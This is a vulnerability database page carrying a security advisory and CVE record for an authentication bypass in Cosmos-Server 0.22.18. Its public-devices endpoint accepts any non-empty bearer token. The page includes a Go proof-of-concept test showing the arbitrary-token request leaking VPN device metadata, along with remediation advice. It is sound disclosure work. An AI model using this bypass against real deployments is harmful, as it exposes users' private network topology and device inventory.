Vulnerability-Lookup

GHSA-5FQM-CC34-FCF5

Vulnerability from github – Published: 2026-07-28 20:32 – Updated: 2026-07-28 20:32

Summary

Cosmos-Server's constellation public-devices endpoint accepts arbitrary bearer tokens

Details

Summary

GET /cosmos/api/constellation/public-devices discloses Constellation device metadata to a requester that supplies any non-empty Authorization header. The handler strips the string Bearer from the header but never validates the resulting token and never uses it in the database query.

This was confirmed locally by routing a request through the real tokenMiddleware with Authorization: Bearer not-a-real-token. The request returned public Constellation device metadata from a disposable fixture. A missing-header negative control returned 401 Unauthorized, proving the bypass is specifically the acceptance of arbitrary bearer values.

Details

Source-to-sink path:

src/httpServer.go:690 registers /api/constellation/public-devices on the authenticated admin API router.
src/httpServer.go:815-817 applies SecureAPI(..., public=false, ...), which runs tokenMiddleware.
src/httpServer.go:231-237 only treats Authorization: Bearer cosmos_... as a Cosmos API token for validation. Other bearer strings are not validated by the middleware and fall through to the handler.
src/constellation/api_devices_public.go:42-47 checks only that the Authorization header is present.
src/constellation/api_devices_public.go:49-50 strips Bearer but does not verify the token or compare it with a device/API key.
src/constellation/api_devices_public.go:63-67 queries all non-blocked and non-invisible devices without including the stripped auth value in the filter.
src/constellation/api_devices_public.go:84-99 returns device names, user nicknames, cleaned VPN/internal IPs, role flags, public hostname, and port.

The handler does not call utils.CheckPermissions, utils.CheckPermissionsOrSelf, the Cosmos API-token permission check, or any Constellation-token validation before returning the data.

Default/common exposure evidence:

The route is registered in the standard server setup (src/httpServer.go:690).
Constellation is a documented product feature described as the VPN used to securely access applications remotely (readme.md:49).
The default config ships Constellation disabled (src/utils/utils.go:104-105), so impact requires a deployment that enables the Constellation/VPN feature and has at least one non-blocked, non-invisible device.
The root package identifies the product as cosmos-server version 0.22.18 (package.json:1-2).
The Go module is github.com/azukaar/cosmos-server (go.mod:0).

False-positive screen:

The PoC wraps the handler in the same tokenMiddleware used by SecureAPI, so it tests the deployed middleware behavior rather than directly calling the handler alone.
A request with no Authorization header returns 401 Unauthorized.
A request with Authorization: Bearer not-a-real-token returns 200 OK and device metadata.
The fixture data is stored in a disposable embedded database under t.TempDir() and no external services are contacted.
The route is not protected by handler-level CheckPermissions, and the arbitrary bearer value is not used by the database query.

Candidate score: 13/18. Reachability 1, attacker control 2, privilege required 2, sink impact 1, mitigation weakness 2, default exposure 1, safe PoC feasibility 2, static certainty 2, false-positive resistance 2. The lower score reflects that Constellation is disabled in the shipped default config, but it is a documented/common product feature.

Exploitability gate: confirmed for deployments with Constellation enabled and populated with devices. The reachable source, arbitrary-token bypass, data-disclosure impact, safe local reproduction, and affected-version evidence are present. Default exposure is feature-dependent rather than enabled in a fresh default config.

PoC

Clean-checkout maintainer recipe:

Check out commit 88de73dcca50172393a75de0e4dc3ab93622825c or version 0.22.18.
Create src/zz_security_poc_test.go with the following test.
Run go test ./src -run TestAuditPublicDevicesAllowsArbitraryBearer -count=1 -v.
Delete src/zz_security_poc_test.go after confirming.

package main

import (
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/azukaar/cosmos-server/src/constellation"
    "github.com/azukaar/cosmos-server/src/utils"
)

func TestAuditPublicDevicesAllowsArbitraryBearer(t *testing.T) {
    oldConfig := utils.MainConfig
    oldBaseConfig := utils.BaseMainConfig
    oldPush := utils.PushShieldMetrics
    oldConfigFolder := utils.CONFIGFOLDER
    defer func() {
        utils.MainConfig = oldConfig
        utils.BaseMainConfig = oldBaseConfig
        utils.PushShieldMetrics = oldPush
        utils.CONFIGFOLDER = oldConfigFolder
        utils.CloseEmbeddedDB()
    }()

    utils.PushShieldMetrics = func(string) {}
    utils.MainConfig = utils.DefaultConfig
    utils.MainConfig.NewInstall = false
    utils.MainConfig.HTTPConfig.Hostname = "example.test"
    utils.BaseMainConfig = utils.MainConfig
    tmp := t.TempDir()
    utils.CONFIGFOLDER = tmp + "/"
    utils.CloseEmbeddedDB()
    c, closeDb, err := utils.GetEmbeddedCollection(utils.GetRootAppId(), "devices")
    defer closeDb()
    if err != nil {
        t.Fatalf("embedded collection: %v", err)
    }
    _, err = c.InsertOne(nil, utils.ConstellationDevice{
        Nickname:       "victim-user",
        DeviceName:     "private-node",
        IP:             "10.8.0.42/24",
        IsLighthouse:   true,
        PublicHostname: "vpn.example.test",
        Port:           "4242",
        Blocked:        false,
        Invisible:      false,
    })
    if err != nil {
        t.Fatalf("insert device fixture: %v", err)
    }

    handler := tokenMiddleware(http.HandlerFunc(constellation.DevicePublicList))
    noAuthReq := httptest.NewRequest(http.MethodGet, "/cosmos/api/constellation/public-devices", nil)
    noAuthRec := httptest.NewRecorder()
    handler.ServeHTTP(noAuthRec, noAuthReq)
    if noAuthRec.Code != http.StatusUnauthorized {
        t.Fatalf("missing Authorization status = %d body = %s", noAuthRec.Code, noAuthRec.Body.String())
    }

    req := httptest.NewRequest(http.MethodGet, "/cosmos/api/constellation/public-devices", nil)
    req.Header.Set("Authorization", "Bearer not-a-real-token")
    rec := httptest.NewRecorder()
    handler.ServeHTTP(rec, req)
    if rec.Code != http.StatusOK {
        t.Fatalf("DevicePublicList status = %d body = %s", rec.Code, rec.Body.String())
    }

    var body struct {
        Status string `json:"status"`
        Data []struct {
            Name string `json:"name"`
            User string `json:"user"`
            IP string `json:"ip"`
            PublicHostname string `json:"publicHostname"`
        } `json:"data"`
    }
    if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
        t.Fatalf("response JSON: %v", err)
    }
    if body.Status != "OK" || len(body.Data) != 1 {
        t.Fatalf("unexpected response body: %s", rec.Body.String())
    }
    if body.Data[0].Name != "private-node" || body.Data[0].User != "victim-user" || body.Data[0].IP != "10.8.0.42" || body.Data[0].PublicHostname != "vpn.example.test" {
        t.Fatalf("unexpected device disclosure: %+v", body.Data[0])
    }
}

Observed output in this environment:

=== RUN   TestAuditPublicDevicesAllowsArbitraryBearer
2026/05/24 15:18:09 NOTICE: [INFO] DevicePublicList: Fetching devices with API key
--- PASS: TestAuditPublicDevicesAllowsArbitraryBearer (0.00s)
PASS
ok      github.com/azukaar/cosmos-server/src    0.057s

Control/negative case: the same test first sends the request without Authorization and expects 401 Unauthorized. The subsequent Authorization: Bearer not-a-real-token request succeeds and returns the fixture, proving the bypass is not an intentionally unauthenticated endpoint but an unvalidated-header check.

Impact

An unauthenticated network attacker can enumerate Constellation device metadata from deployments that enable the Constellation/VPN feature and have visible devices. The response exposes device names, user nicknames, internal/VPN IP addresses, node roles such as lighthouse/relay/exit-node flags, public hostnames, and ports. This information can reveal private network topology and user/device inventory and can support targeted follow-on attacks against the VPN or exposed nodes.

The issue does not require a valid Cosmos session, valid Cosmos API token, valid Constellation token, or user interaction; any arbitrary non-empty bearer string is accepted.

Suggested remediation

Replace the header-presence check with real authorization. Depending on the intended trust model, the handler should require one of:

a valid Cosmos user/API token with an appropriate permission such as PERM_RESOURCES_READ or PERM_CONFIGURATION_READ, or
a dedicated Constellation device/API token that is cryptographically verified and used to scope the query to devices the caller is allowed to see.

Also add regression tests for:

missing Authorization header returns 401,
malformed/arbitrary bearer token returns 401,
invalid cosmos_ API token returns 401 through middleware,
valid but underprivileged token is rejected,
valid authorized token returns only permitted devices.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/azukaar/cosmos-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.18"
            },
            {
              "fixed": "0.22.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.22.18"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T20:32:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`GET /cosmos/api/constellation/public-devices` discloses Constellation device metadata to a requester that supplies any non-empty `Authorization` header. The handler strips the string `Bearer ` from the header but never validates the resulting token and never uses it in the database query.\n\nThis was confirmed locally by routing a request through the real `tokenMiddleware` with `Authorization: Bearer not-a-real-token`. The request returned public Constellation device metadata from a disposable fixture. A missing-header negative control returned `401 Unauthorized`, proving the bypass is specifically the acceptance of arbitrary bearer values.\n\n### Details\nSource-to-sink path:\n\n- `src/httpServer.go:690` registers `/api/constellation/public-devices` on the authenticated admin API router.\n- `src/httpServer.go:815-817` applies `SecureAPI(..., public=false, ...)`, which runs `tokenMiddleware`.\n- `src/httpServer.go:231-237` only treats `Authorization: Bearer cosmos_...` as a Cosmos API token for validation. Other bearer strings are not validated by the middleware and fall through to the handler.\n- `src/constellation/api_devices_public.go:42-47` checks only that the `Authorization` header is present.\n- `src/constellation/api_devices_public.go:49-50` strips `Bearer ` but does not verify the token or compare it with a device/API key.\n- `src/constellation/api_devices_public.go:63-67` queries all non-blocked and non-invisible devices without including the stripped auth value in the filter.\n- `src/constellation/api_devices_public.go:84-99` returns device names, user nicknames, cleaned VPN/internal IPs, role flags, public hostname, and port.\n\nThe handler does not call `utils.CheckPermissions`, `utils.CheckPermissionsOrSelf`, the Cosmos API-token permission check, or any Constellation-token validation before returning the data.\n\nDefault/common exposure evidence:\n\n- The route is registered in the standard server setup (`src/httpServer.go:690`).\n- Constellation is a documented product feature described as the VPN used to securely access applications remotely (`readme.md:49`).\n- The default config ships Constellation disabled (`src/utils/utils.go:104-105`), so impact requires a deployment that enables the Constellation/VPN feature and has at least one non-blocked, non-invisible device.\n- The root package identifies the product as `cosmos-server` version `0.22.18` (`package.json:1-2`).\n- The Go module is `github.com/azukaar/cosmos-server` (`go.mod:0`).\n\nFalse-positive screen:\n\n- The PoC wraps the handler in the same `tokenMiddleware` used by `SecureAPI`, so it tests the deployed middleware behavior rather than directly calling the handler alone.\n- A request with no `Authorization` header returns `401 Unauthorized`.\n- A request with `Authorization: Bearer not-a-real-token` returns `200 OK` and device metadata.\n- The fixture data is stored in a disposable embedded database under `t.TempDir()` and no external services are contacted.\n- The route is not protected by handler-level `CheckPermissions`, and the arbitrary bearer value is not used by the database query.\n\nCandidate score: 13/18. Reachability 1, attacker control 2, privilege required 2, sink impact 1, mitigation weakness 2, default exposure 1, safe PoC feasibility 2, static certainty 2, false-positive resistance 2. The lower score reflects that Constellation is disabled in the shipped default config, but it is a documented/common product feature.\n\nExploitability gate: confirmed for deployments with Constellation enabled and populated with devices. The reachable source, arbitrary-token bypass, data-disclosure impact, safe local reproduction, and affected-version evidence are present. Default exposure is feature-dependent rather than enabled in a fresh default config.\n\n### PoC\nClean-checkout maintainer recipe:\n\n1. Check out commit `88de73dcca50172393a75de0e4dc3ab93622825c` or version `0.22.18`.\n2. Create `src/zz_security_poc_test.go` with the following test.\n3. Run `go test ./src -run TestAuditPublicDevicesAllowsArbitraryBearer -count=1 -v`.\n4. Delete `src/zz_security_poc_test.go` after confirming.\n\n```go\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/azukaar/cosmos-server/src/constellation\"\n\t\"github.com/azukaar/cosmos-server/src/utils\"\n)\n\nfunc TestAuditPublicDevicesAllowsArbitraryBearer(t *testing.T) {\n\toldConfig := utils.MainConfig\n\toldBaseConfig := utils.BaseMainConfig\n\toldPush := utils.PushShieldMetrics\n\toldConfigFolder := utils.CONFIGFOLDER\n\tdefer func() {\n\t\tutils.MainConfig = oldConfig\n\t\tutils.BaseMainConfig = oldBaseConfig\n\t\tutils.PushShieldMetrics = oldPush\n\t\tutils.CONFIGFOLDER = oldConfigFolder\n\t\tutils.CloseEmbeddedDB()\n\t}()\n\n\tutils.PushShieldMetrics = func(string) {}\n\tutils.MainConfig = utils.DefaultConfig\n\tutils.MainConfig.NewInstall = false\n\tutils.MainConfig.HTTPConfig.Hostname = \"example.test\"\n\tutils.BaseMainConfig = utils.MainConfig\n\ttmp := t.TempDir()\n\tutils.CONFIGFOLDER = tmp + \"/\"\n\tutils.CloseEmbeddedDB()\n\tc, closeDb, err := utils.GetEmbeddedCollection(utils.GetRootAppId(), \"devices\")\n\tdefer closeDb()\n\tif err != nil {\n\t\tt.Fatalf(\"embedded collection: %v\", err)\n\t}\n\t_, err = c.InsertOne(nil, utils.ConstellationDevice{\n\t\tNickname:       \"victim-user\",\n\t\tDeviceName:     \"private-node\",\n\t\tIP:             \"10.8.0.42/24\",\n\t\tIsLighthouse:   true,\n\t\tPublicHostname: \"vpn.example.test\",\n\t\tPort:           \"4242\",\n\t\tBlocked:        false,\n\t\tInvisible:      false,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"insert device fixture: %v\", err)\n\t}\n\n\thandler := tokenMiddleware(http.HandlerFunc(constellation.DevicePublicList))\n\tnoAuthReq := httptest.NewRequest(http.MethodGet, \"/cosmos/api/constellation/public-devices\", nil)\n\tnoAuthRec := httptest.NewRecorder()\n\thandler.ServeHTTP(noAuthRec, noAuthReq)\n\tif noAuthRec.Code != http.StatusUnauthorized {\n\t\tt.Fatalf(\"missing Authorization status = %d body = %s\", noAuthRec.Code, noAuthRec.Body.String())\n\t}\n\n\treq := httptest.NewRequest(http.MethodGet, \"/cosmos/api/constellation/public-devices\", nil)\n\treq.Header.Set(\"Authorization\", \"Bearer not-a-real-token\")\n\trec := httptest.NewRecorder()\n\thandler.ServeHTTP(rec, req)\n\tif rec.Code != http.StatusOK {\n\t\tt.Fatalf(\"DevicePublicList status = %d body = %s\", rec.Code, rec.Body.String())\n\t}\n\n\tvar body struct {\n\t\tStatus string `json:\"status\"`\n\t\tData []struct {\n\t\t\tName string `json:\"name\"`\n\t\t\tUser string `json:\"user\"`\n\t\t\tIP string `json:\"ip\"`\n\t\t\tPublicHostname string `json:\"publicHostname\"`\n\t\t} `json:\"data\"`\n\t}\n\tif err := json.Unmarshal(rec.Body.Bytes(), \u0026body); err != nil {\n\t\tt.Fatalf(\"response JSON: %v\", err)\n\t}\n\tif body.Status != \"OK\" || len(body.Data) != 1 {\n\t\tt.Fatalf(\"unexpected response body: %s\", rec.Body.String())\n\t}\n\tif body.Data[0].Name != \"private-node\" || body.Data[0].User != \"victim-user\" || body.Data[0].IP != \"10.8.0.42\" || body.Data[0].PublicHostname != \"vpn.example.test\" {\n\t\tt.Fatalf(\"unexpected device disclosure: %+v\", body.Data[0])\n\t}\n}\n```\n\nObserved output in this environment:\n\n```text\n=== RUN   TestAuditPublicDevicesAllowsArbitraryBearer\n2026/05/24 15:18:09 NOTICE: [INFO] DevicePublicList: Fetching devices with API key\n--- PASS: TestAuditPublicDevicesAllowsArbitraryBearer (0.00s)\nPASS\nok  \tgithub.com/azukaar/cosmos-server/src\t0.057s\n```\n\nControl/negative case: the same test first sends the request without `Authorization` and expects `401 Unauthorized`. The subsequent `Authorization: Bearer not-a-real-token` request succeeds and returns the fixture, proving the bypass is not an intentionally unauthenticated endpoint but an unvalidated-header check.\n\n### Impact\nAn unauthenticated network attacker can enumerate Constellation device metadata from deployments that enable the Constellation/VPN feature and have visible devices. The response exposes device names, user nicknames, internal/VPN IP addresses, node roles such as lighthouse/relay/exit-node flags, public hostnames, and ports. This information can reveal private network topology and user/device inventory and can support targeted follow-on attacks against the VPN or exposed nodes.\n\nThe issue does not require a valid Cosmos session, valid Cosmos API token, valid Constellation token, or user interaction; any arbitrary non-empty bearer string is accepted.\n\n### Suggested remediation\nReplace the header-presence check with real authorization. Depending on the intended trust model, the handler should require one of:\n\n- a valid Cosmos user/API token with an appropriate permission such as `PERM_RESOURCES_READ` or `PERM_CONFIGURATION_READ`, or\n- a dedicated Constellation device/API token that is cryptographically verified and used to scope the query to devices the caller is allowed to see.\n\nAlso add regression tests for:\n\n- missing `Authorization` header returns 401,\n- malformed/arbitrary bearer token returns 401,\n- invalid `cosmos_` API token returns 401 through middleware,\n- valid but underprivileged token is rejected,\n- valid authorized token returns only permitted devices.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)",
  "id": "GHSA-5fqm-cc34-fcf5",
  "modified": "2026-07-28T20:32:34Z",
  "published": "2026-07-28T20:32:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-5fqm-cc34-fcf5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/azukaar/Cosmos-Server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cosmos-Server\u0027s constellation public-devices endpoint accepts arbitrary bearer tokens"
}

CVE-2026-49447 (GCVE-0-2026-49447)

Vulnerability from cvelistv5 – Published: 2026-07-28 20:35 – Updated: 2026-07-29 13:36

Title

Cosmos-Server's constellation public-devices endpoint accepts arbitrary bearer tokens

Summary

Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. In 0.22.18, `GET /cosmos/api/constellation/public-devices` discloses Constellation device metadata to a requester that supplies any non-empty Authorization header. The handler strips the string Bearer from the header but never validates the resulting token and never uses it in the database query. This vulnerability is fixed in 0.22.19.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-287 - Improper Authentication

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/azukaar/Cosmos-Server/security…	x_refsource_CONFIRM
https://github.com/azukaar/Cosmos-Server/commit/5…	x_refsource_MISC
https://github.com/azukaar/Cosmos-Server/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
azukaar	Cosmos-Server	Affected: 0.22.18

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-49447",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-29T13:36:09.992850Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-29T13:36:42.108Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-5fqm-cc34-fcf5"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Cosmos-Server",
          "vendor": "azukaar",
          "versions": [
            {
              "status": "affected",
              "version": "0.22.18"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Cosmos provides users the ability self-host a home server by acting as a secure gateway to your application, as well as a server manager. In 0.22.18, `GET /cosmos/api/constellation/public-devices` discloses Constellation device metadata to a requester that supplies any non-empty Authorization header. The handler strips the string Bearer  from the header but never validates the resulting token and never uses it in the database query. This vulnerability is fixed in 0.22.19."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-287",
              "description": "CWE-287: Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-28T20:35:36.636Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-5fqm-cc34-fcf5",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-5fqm-cc34-fcf5"
        },
        {
          "name": "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/azukaar/Cosmos-Server/commit/59c561d686c8f9843b3e092b50f6346c481d8bbf"
        },
        {
          "name": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
        }
      ],
      "source": {
        "advisory": "GHSA-5fqm-cc34-fcf5",
        "discovery": "UNKNOWN"
      },
      "title": "Cosmos-Server\u0027s constellation public-devices endpoint accepts arbitrary bearer tokens"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-49447",
    "datePublished": "2026-07-28T20:35:36.636Z",
    "dateReserved": "2026-05-30T02:43:33.106Z",
    "dateUpdated": "2026-07-29T13:36:42.108Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-5FQM-CC34-FCF5

Summary

Details

PoC

Impact

Suggested remediation

Credits

CVE-2026-49447 (GCVE-0-2026-49447)

Tags

Sightings

Nomenclature